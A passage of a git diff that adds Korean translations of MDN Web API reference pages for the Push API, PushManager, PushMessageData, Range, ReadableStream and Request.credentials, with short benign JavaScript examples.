+<p><strong>Note</strong>: Gecko 44에 따르면, 각 애플리케이션에 할당된 quota는 3초 정도 다른 알림이 보이는 상태일 때, 새로운 알림이 발생해도 중가하지 않는다. </p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Chrome 52 이전 버전은 push메시지 활용을 위해선 <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a>에 프로젝트를 세팅해야 하며 한편 push 메시지를 보낼 때 프로젝트 번호 및 API 키를 활용하도록 권장한다. app manifest에 서비스 활용에 필요한 특정 패러미터를 정의해야 한다.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("PushEvent")}}</dt>
+ <dd>Represents a push action, sent to the <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.</dd>
+ <dt>{{domxref("PushManager")}}</dt>
+ <dd>Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd>
+ <dt>{{domxref("PushMessageData")}}</dt>
+ <dd>Provides access to push data sent by a server, and includes methods to manipulate the received data.</dd>
+ <dt>{{domxref("PushSubscription")}}</dt>
+ <dd>Provides a subcription's URL endpoint, and allows unsubscription from a push service.</dd>
+</dl>
+
+<h2 id="Service_worker_additions">Service worker additions</h2>
+
+<p>The following additions to the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt>
+ <dd>An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt>
+ <dd>An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Mozilla's <a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> contains many useful Push examples.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Push API")}}</td>
+   <td>{{Spec2("Push API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="PushEvent"><code>PushEvent</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.PushEvent")}}</p>
+
+<h3 id="PushMessageData"><code>PushMessageData</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.PushMessageData")}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/engage-and-retain/push-notifications/">Web Push Notifications: Timely, Relevant, and Precise</a>, Joseph Medley</li>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
+
+<div>{{DefaultAPISidebar("Push API")}}</div>
diff --git a/files/ko/web/api/pushmanager/index.html b/files/ko/web/api/pushmanager/index.html
new file mode 100644
index 0000000000..f42fb127ab
--- /dev/null
+++ b/files/ko/web/api/pushmanager/index.html
@@ -0,0 +1,111 @@
+---
+title: PushManager
+slug: Web/API/PushManager
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Push
+  - Push API
+  - Reference
+  - Service Workers
+  - 푸시
+  - 푸시 알림
+translation_of: Web/API/PushManager
+---
+<p>{{ApiRef("Push API")}}</p>
+
+<p><a href="/ko/docs/Web/API/Push_API">Push API</a>의 <strong><code>PushManager</code></strong> 인터페이스는 서드파티 서버에서 알림을 수신하거나, URL에 푸시 알림을 요청하는 방법을 제공합니다.</p>
+
+<p><code>PushManager</code>는 {{domxref("ServiceWorkerRegistration.pushManager")}} 속성으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.supportedContentEncodings")}}</dt>
+ <dd>푸시 메시지의 페이로드를 암호화할 때 지원하는 콘텐츠 인코딩의 목록을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("PushManager.getSubscription()")}}</dt>
+ <dd>기존의 푸시 구독을 가져옵니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 구독이 존재하지 않으면 프로미스는 <code>null</code>로 이행합니다.</dd>
+ <dt>{{domxref("PushManager.permissionState()")}}</dt>
+ <dd>PushManager의 허가 상태로 이행하는 {{jsxref("Promise")}}를 반환합니다. 상태는 <code>'granted'</code>, <code>'denied'</code>, <code>'prompt'</code> 중 하나입니다.</dd>
+ <dt>{{domxref("PushManager.subscribe()")}}</dt>
+ <dd>푸시 서비스에 구독합니다. 해당 구독에 대한 상세 정보를 담은 {{domxref("PushSubscription")}} 객체를 {{jsxref("Promise")}}로 반환합니다. 현재 서비스 워커에 이전 구독이 존재하지 않으면 새로운 푸시 구독을 생성합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("PushManager.hasPermission()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} that resolves to the <code>PushPermissionStatus</code> of the requesting webapp, which will be one of <code>granted</code>, <code>denied</code>, or <code>default</code>. Replaced by {{domxref("PushManager.permissionState()")}}.</dd>
+ <dt>{{domxref("PushManager.register()")}} {{deprecated_inline}}</dt>
+ <dd>Subscribes to a push subscription. Replaced by {{domxref("PushManager.subscribe()")}}.</dd>
+ <dt>{{domxref("PushManager.registrations()")}} {{deprecated_inline}}</dt>
+ <dd>Retrieves existing push subscriptions. Replaced by {{domxref("PushManager.getSubscription()")}}.</dd>
+ <dt>{{domxref("PushManager.unregister()")}} {{deprecated_inline}}</dt>
+ <dd>Unregisters and deletes a specified subscription endpoint. In the updated API, a subscription is unregistered by calling the {{domxref("PushSubscription.unsubscribe()")}} method.</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">this.onpush = function(event) {
+  console.log(event.data);
+  // From here we can write the data to IndexedDB, send it to any open
+  // windows, display a notification, etc.
+}
+
+navigator.serviceWorker.register('serviceworker.js').then(
+  function(serviceWorkerRegistration) {
+    serviceWorkerRegistration.pushManager.subscribe().then(
+      function(pushSubscription) {
+        console.log(pushSubscription.endpoint);
+        // The push subscription details needed by the application
+        // server are now available, and can be sent to it using,
+        // for example, an XMLHttpRequest.
+      }, function(error) {
+        // During development it often helps to log errors to the
+        // console. In a production environment it might make sense to
+        // also report information about errors back to the
+        // application server.
+        console.log(error);
+      }
+    );
+  });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API','#pushmanager-interface','PushManager')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushManager")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Push_API">Push API</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+</ul>
diff --git a/files/ko/web/api/pushmessagedata/index.html b/files/ko/web/api/pushmessagedata/index.html
new file mode 100644
index 0000000000..61d786160b
--- /dev/null
+++ b/files/ko/web/api/pushmessagedata/index.html
@@ -0,0 +1,67 @@
+---
+title: PushMessageData
+slug: Web/API/PushMessageData
+translation_of: Web/API/PushMessageData
+---
+<p>{{APIRef("Push API")}}{{SeeCompatTable()}}</p>
+
+<p>The <code><strong>PushMessageData</strong></code> interface of the <a href="/en-US/docs/Web/API/Push_API">Push API</a> provides methods which let you retrieve the push data sent by a server in various formats.</p>
+
+<p>Unlike the similar methods in the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, which only allow the method to be invoked once, these methods can be called multiple times.</p>
+
+<p>Messages received through the Push API are sent encrypted by push services and then automatically decrypted by browsers before they are made accessible through the methods of the <code>PushMessageData</code> interface.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>None.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("PushMessageData.arrayBuffer()")}}</dt>
+ <dd>Extracts the data as an {{domxref("ArrayBuffer")}} object.</dd>
+ <dt>{{domxref("PushMessageData.blob()")}}</dt>
+ <dd>Extracts the data as a {{domxref("Blob")}} object.</dd>
+ <dt>{{domxref("PushMessageData.json()")}}</dt>
+ <dd>Extracts the data as a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> object.</dd>
+ <dt>{{domxref("PushMessageData.text()")}}</dt>
+ <dd>Extracts the data as a plain text string.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">self.addEventListener('push', function(event) {
+  var obj = event.data.json();
+
+  if(obj.action === 'subscribe' || obj.action === 'unsubscribe') {
+    fireNotification(obj, event);
+    port.postMessage(obj);
+  } else if(obj.action === 'init' || obj.action === 'chatMsg') {
+    port.postMessage(obj);
+  }
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Push API', '#pushmessagedata-interface', 'PushMessageData')}}</td>
+   <td>{{Spec2('Push API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.PushMessageData")}}</p>
+</div>
diff --git a/files/ko/web/api/range/index.html b/files/ko/web/api/range/index.html
new file mode 100644
index 0000000000..48f236762a
--- /dev/null
+++ b/files/ko/web/api/range/index.html
@@ -0,0 +1,142 @@
+---
+title: range
+slug: Web/API/Range
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/Range
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>Range</code></strong> 객체는 주어진 document 내의 텍스트 노드들의 부분들(parts)과 document의 단편화에 포함된 노드들을 나타내고 있다.</p>
+
+<p>Range 오브젝트는 <code><a href="ko/DOM/document">Document</a></code> 객체에 포함되어 있는 <code><a href="ko/DOM/document.createRange">createRange</a></code> 메소드를 사용하여 생성할 수 있다. 또한 <code><a href="ko/DOM/Selection">selection</a></code> 객체에 포함되어 있는 <code><a href="ko/DOM/Selection/getRangeAt">getRangeAt</a></code> 메소드를 사용하여 추출할 수 있다.</p>
+
+<p>{{domxref("Range.Range()", "Range()")}} 생성자 또한 사용 가능하다.</p>
+
+<h2 id="Properties" name="Properties">속성</h2>
+
+<dl>
+ <dt><a href="ko/DOM/range.collapsed">collapsed</a></dt>
+ <dd>Range의 시작점과 끝점이 같인 위치인지를 알 수 있는 boolean 값을 반환한다.</dd>
+ <dt><a href="ko/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt>
+ <dd>startContainer와 endContainer 노드들을 포함한 최상위 노드를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.endContainer">endContainer</a></dt>
+ <dd>Range의 끝 위치를 포함하는 Node를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.endOffset">endOffset</a></dt>
+ <dd>endContainer 안에 있는 Range 끝을 나타내는 숫자(offset)를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.startContainer">startContainer</a></dt>
+ <dd>Range의 시작 위치를 포함하는 Node를 반환한다.</dd>
+ <dt><a href="ko/DOM/range.startOffset">startOffset</a></dt>
+ <dd>startContainer 안에 있는 Range 시작을 나타내는 숫자(offset)를 반환한다.</dd>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{ domxref("Range.Range()", "Range()") }} {{experimental_inline}}</dt>
+ <dd><code>Range</code> 객체의 시작과 끝에 따라 전역 {{domxref("Document")}} 와 함께 <code>Range</code> 객체를 반환한다.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">메서드</h2>
+
+<p><em>상속한 메서드는 없다.</em></p>
+
+<dl>
+ <dt>{{ domxref("Range.setStart()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEnd()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setStartBefore()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setStartAfter()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 시작 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEndBefore()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.setEndAfter()")}}</dt>
+ <dd>다른 {{ domxref("Node") }} 와 관계가 있는 <code>Range<font face="Open Sans, Arial, sans-serif"> 의 끝 위치를 설정한다</font></code>.</dd>
+ <dt>{{ domxref("Range.selectNode()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 에 </font></code>{{ domxref("Node") }} 와 그것의 내용물을 포함 시킨<code><font face="Open Sans, Arial, sans-serif">다</font></code>.</dd>
+ <dt>{{ domxref("Range.selectNodeContents()")}}</dt>
+ <dd><code>Range<font face="Open Sans, Arial, sans-serif"> 에 </font></code>{{ domxref("Node") }} 의 내용물을 포함 시킨<code><font face="Open Sans, Arial, sans-serif">다</font></code>.</dd>
+ <dt>{{ domxref("Range.collapse()")}}</dt>
+ <dd><code>Range</code> 의 경계 지점 중 하나로 영역을 붕괴 시킨다.</dd>
+ <dt>{{ domxref("Range.cloneContents()")}}</dt>
+ <dd><code>Range</code> 의 노드들을 복사하여 {{ domxref("DocumentFragment") }} 를 반환한다.</dd>
+ <dt>{{ domxref("Range.deleteContents()")}}</dt>
+ <dd>{{ domxref("Document") }} 로 부터 <code>Range</code> 의 컨텐츠들을 삭제한다.</dd>
+ <dt>{{ domxref("Range.extractContents()")}}</dt>
+ <dd>{{ domxref("Document") }} 트리로 부터 <code>Range</code> 의 컨텐츠들을 domxref("DocumentFragment") }} 로 이동시킨다.</dd>
+ <dt>{{ domxref("Range.insertNode()")}}</dt>
+ <dd><code>Range</code> 의 맨 앞에 {{ domxref("Node") }}를 삽입한다.</dd>
+ <dt>{{ domxref("Range.surroundContents()")}}</dt>
+ <dd>Moves content of a <code>Range</code> into a new {{ domxref("Node") }}.</dd>
+ <dt>{{ domxref("Range.compareBoundaryPoints()")}}</dt>
+ <dd>Compares the boundary points of the <code>Range</code> with another <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.cloneRange()")}}</dt>
+ <dd>Returns a <code>Range</code> object with boundary points identical to the cloned <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.detach()")}}</dt>
+ <dd>Releases the <code>Range</code> from use to improve performance.</dd>
+ <dt>{{ domxref("Range.toString()")}}</dt>
+ <dd>Returns the text of the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.compareNode()")}} {{ Obsolete_inline }}{{non-standard_inline}}</dt>
+ <dd>Returns a constant representing whether the {{domxref("Node")}} is before, after, inside, or surrounding the range.</dd>
+ <dt>{{ domxref("Range.comparePoint()")}} {{experimental_inline}}</dt>
+ <dd>Returns -1, 0, or 1 indicating whether the point occurs before, inside, or after the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.createContextualFragment()")}}{{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("DocumentFragment") }} created from a given string of code.</dd>
+ <dt>{{ domxref("Range.getBoundingClientRect()") }} {{experimental_inline}}</dt>
+ <dd>Returns a {{ domxref("ClientRect") }} object which bounds the entire contents of the <code>Range</code>; this would be the union of all the rectangles returned by {{ domxref("range.getClientRects()") }}.</dd>
+ <dt>{{ domxref("Range.getClientRects()") }} {{experimental_inline}}</dt>
+ <dd>Returns a list of {{ domxref("ClientRect") }} objects that aggregates the results of {{ domxref("Element.getClientRects()") }} for all the elements in the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.intersectsNode()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given node intersects the <code>Range</code>.</dd>
+ <dt>{{ domxref("Range.isPointInRange()")}} {{experimental_inline}}</dt>
+ <dd>Returns a <code>boolean</code> indicating whether the given point is in the <code>Range</code>.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-range', 'Range')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Do not use <code>RangeException</code> anymore, use <code>DOMException</code> instead.<br>
+    Made the second parameter of <code>collapse()</code> optional.<br>
+    Added the methods <code>isPointInRange()</code>, <code>comparePoint()</code>, and <code>intersectsNode()</code>.<br>
+    Added the constructor <code>Range()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Added the method <code>createContextualFragment()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-range-interface', 'Extensions to Range')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the methods <code>getClientRects()</code> and <code>getBoundingClientRect()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level-2-Range-Interface', 'Range')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Range")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ko/web/api/range/selectnodecontents/index.html b/files/ko/web/api/range/selectnodecontents/index.html
new file mode 100644
index 0000000000..380d600622
--- /dev/null
+++ b/files/ko/web/api/range/selectnodecontents/index.html
@@ -0,0 +1,68 @@
+---
+title: Range.selectNodeContents()
+slug: Web/API/Range/selectNodeContents
+tags:
+  - API
+  - DOM
+  - Method
+  - Range
+translation_of: Web/API/Range/selectNodeContents
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Range.selectNodeContents()</code></strong>는 {{domxref("Node")}}의 내용을 포함하는 {{domxref("Range")}}를 설정합니다.</p>
+
+<p>부모 {{ domxref("Node") }} 의 start, end 값이 Reference가 됩니다. <code>startOffset</code> 은 0이고, <code>endOffset</code> 은 Child Node의 수 혹은 Reference Node에 포함되어 있는 Child Node의 수가 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>range</em>.selectNodeContents(<em>referenceNode</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code><em>referenceNode</em></code></dt>
+ <dd>{{ domxref("Range") }} 로 선택될 내용의 {{ domxref("Node") }} </dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">range = document.createRange();
+referenceNode = document.getElementsByTagName("div")[0];
+range.selectNodeContents(referenceNode);
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-range-selectnodecontents', 'Range.selectNodeContents()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNodeContents', 'Range.selectNodeContents()')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Range.selectNodeContents")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ko/web/api/readablestream/index.html b/files/ko/web/api/readablestream/index.html
new file mode 100644
index 0000000000..6ad5bd8139
--- /dev/null
+++ b/files/ko/web/api/readablestream/index.html
@@ -0,0 +1,105 @@
+---
+title: ReadableStream
+slug: Web/API/ReadableStream
+translation_of: Web/API/ReadableStream
+---
+<p>{{APIRef("Streams")}}</p>
+
+<p><span class="seoSummary"><a href="https://developer.mozilla.org/ko/docs/Web/API/Streams_API">Streams API</a>의 <code>ReadableStream</code> 인터페이스는 바이트 데이터를 읽을수 있는 스트림을 제공합니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>는 Response 객체의 body 속성을 통하여 <code>ReadableStream</code>의 구체적인 인스턴스를 제공합니다.</span></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}</dt>
+ <dd>읽을수 있는 스트림 객체를 생성하고 리턴합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.locked")}} {{readonlyInline}}</dt>
+ <dd><code>locked</code>는 Readable stream이 reader에 고정되어 있는지(<a href="https://streams.spec.whatwg.org/#locked-to-a-reader">locaked to a reader</a>) 확인하는 getter 입니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.cancel()")}}</dt>
+ <dd>
+ <p>스트림을 취소하여, 소비자가 스트림에 대해 관심이 없음을 알립니다. The supplied reason argument will be given to the underlying source, which may or may not use it.</p>
+ </dd>
+ <dt>{{domxref("ReadableStream.getReader()")}}</dt>
+ <dd>Reader를 만들고 스트림을 그 Reader에 고정 시킵니다. 스트림이 고정되어 있는 동안에는 다른 Reader를 얻을수 없습니다.</dd>
+ <dt>{{domxref("ReadableStream.pipeThrough()")}}</dt>
+ <dd>Provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.</dd>
+ <dt>{{domxref("ReadableStream.pipeTo()")}}</dt>
+ <dd>
+ <p>인자로 넘기는 {{domxref("WritableStream")}}과 현재의 ReadableStream을 연결하고 프로미스를 리턴합니다. 이 프로미스는 파이핑 프로세스가 성공적으로 완료될때 fullfil되며 애러가 발생했을때 reject됩니다.</p>
+ </dd>
+ <dt>{{domxref("ReadableStream.tee()")}}</dt>
+ <dd>The <code>tee</code> method <a href="https://streams.spec.whatwg.org/#tee-a-readable-stream" id="ref-for-tee-a-readable-stream②">tees</a> this readable stream, returning a two-element array containing the two resulting branches as new {{domxref("ReadableStream")}} instances. Each of those streams receives the same incoming data.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>아래 예시에서, 다른 리소스에서 fetch된 HTML 조각들을 스트림 하기위해 가공의 {{domxref("Response")}}를 만듭니다. 이것은{{domxref("Uint8Array")}}로 구성된 {{domxref("ReadableStream")}} 의 사용법을 보여줍니다.</p>
+
+<pre class="brush: js">fetch("https://www.example.org/").then((response) =&gt; {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+    start(controller) {
+      // 아래 함수는 각 data chunck를 다룬다.
+      function push() {
+        // "done"은 Boolean 이며 value는 "Uint8Array 이다."
+        reader.read().then(({ done, value }) =&gt; {
+          // 더이상 읽은 데이터가 없는가?
+          if (done) {
+            // 브라우저에게 데이터 전달이 끝났다고 알린다.
+            controller.close();
+            return;
+          }
+
+          // 데이터를 얻고 컨트롤러를 통하여 그 데이터를 브라우저에 넘긴다.
+          controller.enqueue(value);
+          push();
+        });
+      };
+
+      push();
+    }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams','#rs-class','ReadableStream')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ReadableStream")}}</p>
+</div>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://whatwg-stream-visualizer.glitch.me/">WHATWG Stream Visualiser</a>, for a basic visualisation of readable, writable, and transform streams.</li>
+</ul>
diff --git a/files/ko/web/api/request/credentials/index.html b/files/ko/web/api/request/credentials/index.html
new file mode 100644
index 0000000000..ed7186a6d9
--- /dev/null
+++ b/files/ko/web/api/request/credentials/index.html
@@ -0,0 +1,70 @@
+---
+title: Request.credentials
+slug: Web/API/Request/credentials
+tags:
+  - API
+  - Cookies
+  - Fetch
+  - Networking
+  - Property
+  - Reference
+  - Security
+  - credentials
+  - request
+translation_of: Web/API/Request/credentials
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>{{domxref("Request")}} 인터페이스의 <strong><code>credentials</code></strong> 읽기 전용 속성은 cross-origin 요청의 경우, user agent가 다른 도메인으로부터 cookie 들을 전달해야만 하는가 아닌가를 나타낸다. 이것은 XHR 의 withCredentials flag 과 비슷하지만, (2개가 아니라) 3가지 값이 사용 가능하다 :</p>
+
+<ul>
+ <li><code>omit</code>: 절대로 cookie 들을 전송하거나 받지 않는다.</li>
+ <li><code>same-origin</code>: URL이 호출 script 와 동일 출처(same origin)에 있다면, user credentials (cookies, basic http auth 등..)을 전송한다. <strong>이것은 default 값이다.</strong></li>
+ <li><code>include</code>: cross-origin 호출이라 할지라도 언제나 user credentials (cookies, basic http auth 등..)을 전송한다.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myCred = request.credentials;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>이 transaction에 사용할 credentials 를 나타내는 {{domxref("RequestCredentials")}} 값</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음의 snippet 에서, 우리는 {{domxref("Request.Request()")}} constructor 를 사용하여 (스크립트와 동일한 디렉토리의 이미지 파일을 위한) 새로운 요청(request)를 생성하고, 변수에 요청(request) credentials 을 저장한다.</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // returns "same-origin" by default</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request-credentials','credentials')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request.credentials")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/request/index.html b/files/ko/web/api/request/index.html
new file mode 100644
index 0000000000..73eae676e6
--- /dev/null
+++ b/files/ko/web/api/request/index.html
@@ -0,0 +1,293 @@
+---
+title: Request
+slug: Web/API/Request
+translation_of: Web/API/Request
+---
